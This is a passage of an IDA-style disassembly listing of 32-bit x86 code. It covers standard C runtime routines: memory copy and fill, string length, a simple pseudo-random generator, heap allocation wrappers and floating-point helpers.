loc_40C77A:				; CODE XREF: sub_40C720+2Fj
		test	edi, 3
		jz	short loc_40C794


loc_40C782:				; CODE XREF: sub_40C720+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_40C816
		test	edi, 3
		jnz	short loc_40C782


loc_40C794:				; CODE XREF: sub_40C720+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_40C807


loc_40C79B:				; CODE XREF: sub_40C720+7Fj
					; sub_40C720+F4j
		mov	[edi], al
		inc	edi


loc_40C79E:				; CODE XREF: sub_40C720+4Dj
		dec	ebx
		jnz	short loc_40C79B
		pop	ebx
		pop	esi


loc_40C7A3:				; CODE XREF: sub_40C720+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40C7A9:				; CODE XREF: sub_40C720+A9j
					; sub_40C720+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_40C760


loc_40C7B1:				; CODE XREF: sub_40C720+20j
					; sub_40C720+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_40C7A9
		test	dl, dl
		jz	short loc_40C7FB
		test	dh, dh
		jz	short loc_40C7F1
		test	edx, 0FF0000h
		jz	short loc_40C7E7
		test	edx, 0FF000000h
		jnz	short loc_40C7A9
		mov	[edi], edx
		jmp	short loc_40C7FF
; ---------------------------------------------------------------------------


loc_40C7E7:				; CODE XREF: sub_40C720+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_40C7FF
; ---------------------------------------------------------------------------


loc_40C7F1:				; CODE XREF: sub_40C720+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_40C7FF
; ---------------------------------------------------------------------------


loc_40C7FB:				; CODE XREF: sub_40C720+ADj
		xor	edx, edx
		mov	[edi], edx


loc_40C7FF:				; CODE XREF: sub_40C720+C5j
					; sub_40C720+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_40C811


loc_40C807:				; CODE XREF: sub_40C720+79j
		xor	eax, eax


loc_40C809:				; CODE XREF: sub_40C720+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_40C809


loc_40C811:				; CODE XREF: sub_40C720+E5j
		and	ebx, 3
		jnz	short loc_40C79B


loc_40C816:				; CODE XREF: sub_40C720+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40C720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C820	proc far		; CODE XREF: sub_4013CA+15p
					; sub_4013CA+3Bp ...

arg_FFFFFFFC	= dword	ptr  8
arg_0		= dword	ptr  0Ch
arg_4		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edi, [ebp+arg_FFFFFFFC]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_40C840
		cmp	edi, eax
		jb	loc_40C9B8


loc_40C840:				; CODE XREF: sub_40C820+16j
		test	edi, 3
		jnz	short loc_40C85C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40C87C
		rep movsd
		jmp	off_40C968[edx*4]
; ---------------------------------------------------------------------------


loc_40C85C:				; CODE XREF: sub_40C820+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_40C874
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_40C87C+4[eax*4]
; ---------------------------------------------------------------------------


loc_40C874:				; CODE XREF: sub_40C820+46j
		jmp	dword ptr loc_40C978[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40C87C:				; CODE XREF: sub_40C820+31j
					; sub_40C820+8Ej ...
		jmp	off_40C8FC[ecx*4]
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 0C8h, 40h, 0
		dd offset loc_40C8BC
		dd offset loc_40C8E0
; ---------------------------------------------------------------------------
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_40C87C
		rep movsd
		jmp	off_40C968[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40C8BC:				; DATA XREF: sub_40C820+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_40C87C
		rep movsd
		jmp	off_40C968[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40C8E0:				; DATA XREF: sub_40C820+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_40C87C
		rep movsd
		jmp	off_40C968[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40C8FC	dd offset loc_40C95F	; DATA XREF: sub_40C820:loc_40C87Cr
		dd offset loc_40C94C
		dd offset loc_40C944
		dd offset loc_40C93C
		dd offset loc_40C934
		dd offset loc_40C92C
		dd offset loc_40C924
		dd offset loc_40C91C
; ---------------------------------------------------------------------------


loc_40C91C:				; CODE XREF: sub_40C820:loc_40C87Cj
					; DATA XREF: sub_40C820+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_40C924:				; CODE XREF: sub_40C820:loc_40C87Cj
					; DATA XREF: sub_40C820+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_40C92C:				; CODE XREF: sub_40C820:loc_40C87Cj
					; DATA XREF: sub_40C820+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_40C934:				; CODE XREF: sub_40C820:loc_40C87Cj
					; DATA XREF: sub_40C820+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_40C93C:				; CODE XREF: sub_40C820:loc_40C87Cj
					; DATA XREF: sub_40C820+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_40C944:				; CODE XREF: sub_40C820:loc_40C87Cj
					; DATA XREF: sub_40C820+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_40C94C:				; CODE XREF: sub_40C820:loc_40C87Cj
					; DATA XREF: sub_40C820+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40C95F:				; CODE XREF: sub_40C820:loc_40C87Cj
					; DATA XREF: sub_40C820:off_40C8FCo
		jmp	off_40C968[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_40C968	dd offset loc_40C978	; DATA XREF: sub_40C820+35r
					; sub_40C820+92r ...
		dd offset loc_40C980
		dd offset loc_40C98C
		dd offset loc_40C9A0
; ---------------------------------------------------------------------------


loc_40C978:				; CODE XREF: sub_40C820+35j
					; sub_40C820+92j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40C980:				; CODE XREF: sub_40C820+35j
					; sub_40C820+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40C98C:				; CODE XREF: sub_40C820+35j
					; sub_40C820+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_40C9A0:				; CODE XREF: sub_40C820+35j
					; sub_40C820+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40C9B8:				; CODE XREF: sub_40C820+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_40C9EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_40C9E0
		std
		rep movsd
		cld
		jmp	off_40CB00[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_40C9E0:				; CODE XREF: sub_40C820+1B1j
					; sub_40C820+208j ...
		neg	ecx
		jmp	off_40CAB0[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_40C9EC:				; CODE XREF: sub_40C820+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_40CA04
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_40CA04+4[eax*4]
; ---------------------------------------------------------------------------


loc_40CA04:				; CODE XREF: sub_40C820+1D6j
					; DATA XREF: sub_40C820+1DDr
		jmp	off_40CB00[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		sbb	dl, cl
		inc	eax
		add	[eax], bh
		retf	40h
; ---------------------------------------------------------------------------
		pusha
		retf	40h
; ---------------------------------------------------------------------------
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_40C9E0
		std
		rep movsd
		cld
		jmp	off_40CB00[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_40C9E0
		std
		rep movsd
		cld
		jmp	off_40CB00[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_40C9E0
		std
		rep movsd
		cld
		jmp	off_40CB00[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	ah, 0CAh
		inc	eax
		add	[edx+ecx*8-353BFFC0h], bh
		inc	eax
		add	ah, cl
		retf	40h
; ---------------------------------------------------------------------------
		aam	0CAh
		inc	eax
		add	ah, bl
		retf	40h
; ---------------------------------------------------------------------------
		dd offset loc_40CAE4
off_40CAB0	dd offset loc_40CAF7	; DATA XREF: sub_40C820+1C2r
; ---------------------------------------------------------------------------
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_40CAE4:				; DATA XREF: sub_40C820+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_40CAF7:				; CODE XREF: sub_40C820+1C2j
					; DATA XREF: sub_40C820:off_40CAB0o
		jmp	off_40CB00[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_40CB00	dd offset loc_40CB10	; DATA XREF: sub_40C820+1B7r
					; sub_40C820:loc_40CA04r ...
		dd offset loc_40CB18
		dd offset loc_40CB28
		dd offset loc_40CB3C
; ---------------------------------------------------------------------------


loc_40CB10:				; CODE XREF: sub_40C820+1B7j
					; sub_40C820:loc_40CA04j ...
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CB18:				; CODE XREF: sub_40C820+1B7j
					; sub_40C820:loc_40CA04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CB28:				; CODE XREF: sub_40C820+1B7j
					; sub_40C820:loc_40CA04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40CB3C:				; CODE XREF: sub_40C820+1B7j
					; sub_40C820:loc_40CA04j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_FFFFFFFC]
		pop	esi
		pop	edi
		leave
		retn
sub_40C820	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40CB55	proc near		; CODE XREF: sub_40154B+33p
					; sub_403E11+54p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_41FC30, eax
		retn
sub_40CB55	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB5F	proc near		; CODE XREF: sub_401412+4Dp
					; sub_401412+5Ap ...
		mov	eax, dword_41FC30
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_41FC30, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_40CB5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CB7D	proc near		; CODE XREF: sub_401412+40p
					; sub_403E11+24Cp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_40CBC0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_40F5E2
		add	esp, 10h
		leave
		retn
sub_40CB7D	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CBC0	proc near		; CODE XREF: sub_401412+19p
					; sub_401B3F+7p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_40CBE0


loc_40CBCC:				; CODE XREF: sub_40CBC0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40CC13
		test	ecx, 3
		jnz	short loc_40CBCC
		add	eax, 0


loc_40CBE0:				; CODE XREF: sub_40CBC0+Aj
					; sub_40CBC0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40CBE0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40CC31
		test	ah, ah
		jz	short loc_40CC27
		test	eax, 0FF0000h
		jz	short loc_40CC1D
		test	eax, 0FF000000h
		jz	short loc_40CC13
		jmp	short loc_40CBE0
; ---------------------------------------------------------------------------


loc_40CC13:				; CODE XREF: sub_40CBC0+11j
					; sub_40CBC0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40CC1D:				; CODE XREF: sub_40CBC0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40CC27:				; CODE XREF: sub_40CBC0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_40CC31:				; CODE XREF: sub_40CBC0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_40CBC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CC40	proc near		; CODE XREF: sub_401965+1Ap
					; sub_40199F+22p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_40CC93
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_40CC87
		neg	ecx
		and	ecx, 3
		jz	short loc_40CC69
		sub	edx, ecx


loc_40CC63:				; CODE XREF: sub_40CC40+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_40CC63


loc_40CC69:				; CODE XREF: sub_40CC40+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_40CC87
		rep stosd
		test	edx, edx
		jz	short loc_40CC8D


loc_40CC87:				; CODE XREF: sub_40CC40+18j
					; sub_40CC40+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_40CC87


loc_40CC8D:				; CODE XREF: sub_40CC40+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40CC93:				; CODE XREF: sub_40CC40+Aj
		mov	eax, [esp+arg_0]
		retn
sub_40CC40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40CCA0	proc near		; CODE XREF: sub_402972+5p
					; sub_403CA3+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_40CCC0


loc_40CCAC:				; CODE XREF: sub_40CCA0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_40CCAC


loc_40CCC0:				; CODE XREF: sub_40CCA0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_40CCA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CCCF	proc near		; CODE XREF: sub_401965+Ap
					; sub_40199F+12p ...

arg_0		= dword	ptr  4

		push	dword_481E14
		push	[esp+4+arg_0]
		call	sub_40CCE1
		pop	ecx
		pop	ecx
		retn
sub_40CCCF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CCE1	proc near		; CODE XREF: sub_40CCCF+Ap
					; sub_40D795+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_40CD0A


loc_40CCE8:				; CODE XREF: sub_40CCE1+27j
		push	[esp+arg_0]
		call	sub_40CD0D
		test	eax, eax
		pop	ecx
		jnz	short locret_40CD0C
		cmp	[esp+arg_4], eax
		jz	short locret_40CD0C
		push	[esp+arg_0]
		call	sub_410093
		test	eax, eax
		pop	ecx
		jnz	short loc_40CCE8


loc_40CD0A:				; CODE XREF: sub_40CCE1+5j
		xor	eax, eax

locret_40CD0C:				; CODE XREF: sub_40CCE1+13j
					; sub_40CCE1+19j
		retn
sub_40CCE1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CD0D	proc near		; CODE XREF: sub_40CCE1+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_483428
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_40CD31
		cmp	esi, dword_483420
		ja	short loc_40CD63
		push	esi
		call	sub_41061C
		test	eax, eax
		pop	ecx
		jz	short loc_40CD63
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40CD31:				; CODE XREF: sub_40CD0D+Dj
		cmp	eax, 2
		jnz	short loc_40CD63
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_40CD46
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_40CD49
; ---------------------------------------------------------------------------


loc_40CD46:				; CODE XREF: sub_40CD0D+2Fj
		push	10h
		pop	esi


loc_40CD49:				; CODE XREF: sub_40CD0D+37j
		cmp	esi, dword_421CB4
		ja	short loc_40CD70
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_4110BF
		test	eax, eax
		pop	ecx
		jnz	short loc_40CD7F
		jmp	short loc_40CD70
; ---------------------------------------------------------------------------


loc_40CD63:				; CODE XREF: sub_40CD0D+15j
					; sub_40CD0D+20j ...
		test	esi, esi
		jnz	short loc_40CD6A
		push	1
		pop	esi


loc_40CD6A:				; CODE XREF: sub_40CD0D+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_40CD70:				; CODE XREF: sub_40CD0D+42j
					; sub_40CD0D+54j
		push	esi
		push	0
		push	dword_483424
		call	dword_418110	; RtlAllocateHeap


loc_40CD7F:				; CODE XREF: sub_40CD0D+52j
		pop	esi
		retn
sub_40CD0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CD81	proc near		; CODE XREF: sub_4019F4+Ap
					; sub_401A0D+73p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_40CDE7
		mov	eax, dword_483428
		cmp	eax, 3
		jnz	short loc_40CDAD
		push	esi
		call	sub_4102C8
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40CDD9
		push	eax
		call	sub_4102F3
		pop	ecx
		pop	ecx
		jmp	short loc_40CDE7
; ---------------------------------------------------------------------------


loc_40CDAD:				; CODE XREF: sub_40CD81+14j
		cmp	eax, 2
		jnz	short loc_40CDD8
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_411023
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40CDD8
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41107A
		add	esp, 0Ch
		jmp	short loc_40CDE7
; ---------------------------------------------------------------------------


loc_40CDD8:				; CODE XREF: sub_40CD81+2Fj
					; sub_40CD81+44j
		push	esi


loc_40CDD9:				; CODE XREF: sub_40CD81+20j
		push	0
		push	dword_483424
		call	dword_418114	; RtlFreeHeap


loc_40CDE7:				; CODE XREF: sub_40CD81+Aj
					; sub_40CD81+2Aj ...
		pop	esi
		leave
		retn
sub_40CD81	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40CDEA(double)

sub_40CDEA	proc near		; CODE XREF: sub_402112+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_41FC40
		call	sub_411CBC
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_40CE70
		call	sub_411B84
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40CE53
		cmp	eax, 2
		jle	short loc_40CE45
		cmp	eax, 3
		jnz	short loc_40CE53
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_411494
		add	esp, 10h
		jmp	short loc_40CEB5
; ---------------------------------------------------------------------------


loc_40CE45:				; CODE XREF: sub_40CDEA+3Fj
		push	esi
		push	ebx
		call	sub_411CBC
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40CEB5
; ---------------------------------------------------------------------------


loc_40CE53:				; CODE XREF: sub_40CDEA+3Aj
					; sub_40CDEA+44j
		fld	[ebp+arg_0]
		fadd	dbl_418638
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_40CEAD
; ---------------------------------------------------------------------------


loc_40CE70:				; CODE XREF: sub_40CDEA+2Fj
		call	sub_411B49
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_40CE93


loc_40CE85:				; CODE XREF: sub_40CDEA+ACj
		push	esi
		push	ebx
		call	sub_411CBC
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_40CEB5
; ---------------------------------------------------------------------------


loc_40CE93:				; CODE XREF: sub_40CDEA+99j
		test	bl, 20h
		jnz	short loc_40CE85
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_40CEAD:				; CODE XREF: sub_40CDEA+84j
		call	sub_4114E7
		add	esp, 1Ch


loc_40CEB5:				; CODE XREF: sub_40CDEA+59j
					; sub_40CDEA+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40CDEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CEB9	proc near		; CODE XREF: sub_40E785+9p
					; sub_411D85+21p
					; DATA XREF: ...
		call	sub_40CED1
		call	sub_411D85
		mov	dword_481D98, eax
		call	sub_411D35
		fnclex
		retn
sub_40CEB9	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_40CED1	proc near		; CODE XREF: sub_40CEB9p
		mov	eax, offset sub_412173
		mov	off_421DD4, offset sub_411E08
		mov	off_421DD0, eax
		mov	off_421DD8, offset sub_411E6E
		mov	off_421DDC, offset sub_411DAE
		mov	off_421DE0, offset sub_411E56
		mov	off_421DE4, eax
		retn
sub_40CED1	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CF0C	proc near		; CODE XREF: sub_402112+1Bp
					; sub_402112+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_40CF0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40CF33(double)

sub_40CF33	proc near		; CODE XREF: sub_40215E+83p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_41FC58
		call	sub_411CBC
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_40CFB9
		call	sub_411B84
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40CF9C
		cmp	eax, 2
		jle	short loc_40CF8E
		cmp	eax, 3
		jnz	short loc_40CF9C
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_411494
		add	esp, 10h
		jmp	short loc_40CFFE
; ---------------------------------------------------------------------------


loc_40CF8E:				; CODE XREF: sub_40CF33+3Fj
		push	esi
		push	ebx
		call	sub_411CBC
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40CFFE
; ---------------------------------------------------------------------------


loc_40CF9C:				; CODE XREF: sub_40CF33+3Aj
					; sub_40CF33+44j
		fld	[ebp+arg_0]
		fadd	dbl_418638
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_40CFF6
; ---------------------------------------------------------------------------


loc_40CFB9:				; CODE XREF: sub_40CF33+2Fj
		call	sub_411B49
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_40CFDC


loc_40CFCE:				; CODE XREF: sub_40CF33+ACj
